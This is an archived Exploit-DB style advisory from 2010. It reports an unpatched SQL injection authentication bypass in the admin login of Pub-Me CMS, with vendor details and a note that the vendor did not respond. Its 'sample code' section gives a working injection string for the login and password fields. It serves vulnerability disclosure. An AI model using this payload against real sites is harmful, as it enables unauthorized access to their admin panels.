Pub-Me CMS Blind SQL Injection Vulnerability

vendor:

Pub-Me CMS

by:

H4f

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Pub-Me CMS

Affected Version From: //unknown

Affected Version To: all current affected - devel. homepage & 33 clients web pages

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Pub-Me CMS Blind SQL Injection Vulnerability

All Pub-Me based websites are vulnerable, any more/less trained monkey can reach admin panel by using a Blind SQL Injection with a Login and Password of ' or 0=0 #.

Mitigation:

Vendor contacted, no response.

Source

Exploit-DB raw data:

                              _______ _____   ___ 
                             |   |   |  |  |.'  _|
                             |       |__    |   _|
                             |___|___|  |__||__|  
                                                  
Pub-Me CMS Blind SQL Injection Vulnerability
 
 Name:              Pub-Me CMS
 Vendor:            http://www.pub-me.com/
 Versions Affected: //unknown, all current affected - devel. homepage & 33 clients web pages
 Software Link:     Not aviable, Demo can be requested by e-mail from vendor
 Found by:          H4f, <Sec was born project, Anonymous submission>
 Contact:           zotrob [at] gmail [dot] com
 Date:              2010-10-25
 
X. INDEX
 
 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
  
 
I. ABOUT THE APPLICATION
________________________
 
Pub-Me Content Managment System is designed to make it possible for you to pay full 
attention to the content without having to bother about technologies.

II. DESCRIPTION
_______________
 
NOT properly sanitised form before being used
in a SQL query.
 
 
III. ANALYSIS
_____________
 
Summary:
 
All Pub-Me based websites are vulnerable, any more/less trained monkey can reach admin panel. 
______________________

 
IV. SAMPLE CODE
_______________
 
Blind SQL Injection
 
 Login>   ' or 0=0 #
 Pass>    ' or 0=0 #
 
V. FIX
______
 
Vedor contacted, no reponse.